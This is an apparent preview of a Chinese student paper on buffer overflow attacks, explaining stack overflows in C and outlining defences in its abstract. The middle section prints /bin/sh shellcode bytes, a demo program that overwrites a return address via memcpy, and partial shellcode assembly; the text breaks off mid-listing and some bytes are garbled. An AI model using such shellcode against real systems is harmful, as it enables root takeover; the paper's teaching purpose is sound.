缓冲区溢出攻击的分析及防范策略概要
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
缓冲区溢出攻击的分析及防范策略
摘要随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问
题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性
问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。本文首先解释了缓
冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区
溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码
对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结
合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出
攻击的防范策略。关键字:缓冲区溢出攻击
AbstractWith the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to
consider.At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.Buffer overflow attacking is a seriously problem in network security and cause
serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check
the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer
overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking. Key Words:
buffer overflow attacking 一缓冲区与出的概念及原理
1.1何谓缓冲区溢出缓冲区是用户为程序运行时在计算机中申请得的一段连
续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大
的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的
溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目
的。 1.2缓冲区溢出的原理从上面的缓冲区溢出概念可以看出,缓冲区
溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设
计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检
查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种
结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的
可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取
得系统特权,由此而引发多种攻击方法。缓冲区溢出对系统的安全性带来很大的威胁,比如向程序的有限空间的缓冲区中置入过长的字符串,造成缓冲区溢出,从而破坏程序的堆栈,使程序转去执行其他的指令,如果这些指令是放在有Root权限的内存里,那么一旦这些指令得到了运行,入侵者就以Root的权限控制了系统,这也是我们所说的U2R(User to Root Attacks)攻击。例如在Unix系统中,使用一些精心编写的程序,利用SUID程序(如FDFORMAT)中存在的缓冲区溢出错误就可以取得系统超级用户权限,在Unix取得超级用户权限就意味着黑客可以随意控制系统。为了避免这种利用程序设计语言漏洞而对系统的恶意攻击,我们必须要仔细分析缓冲区溢出攻击的产生及类型,从而做出相应的防范策略。“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3” 事例程序如下:
/ test / char shellcode[]=
{“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx0 0x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”}; void f(char *src)
{ char dest[4]; memcpy(dest,src,12); } void main() { int
shellentry[3]; shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode; shellentry[2]=(int)shellcode;
f(shellentry); } 由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy
并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。这里讨论一个现实中的Unix环境下,利用缓冲区溢出的
到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:(1)启动一个一个Shell的代码——Shellcode的获得通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下: shellcode.c #include
得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。 Shellcode的结构如下:(J 代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串
“/bin/sh”,A指向Shellcode的起始地址)。 SCO Unix下的Shellcode的汇编代码如下: Jmp 0x2a # 3 bytes # 跳到CALL指令处
Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi movl %esi, 0x8(%esi) # 3 bytes movb $0x0,
0x7(%esi) # 4 bytes movl $0x0, 0xc(%esi) # 7 bytes movl $0xb, %eax # 5 bytes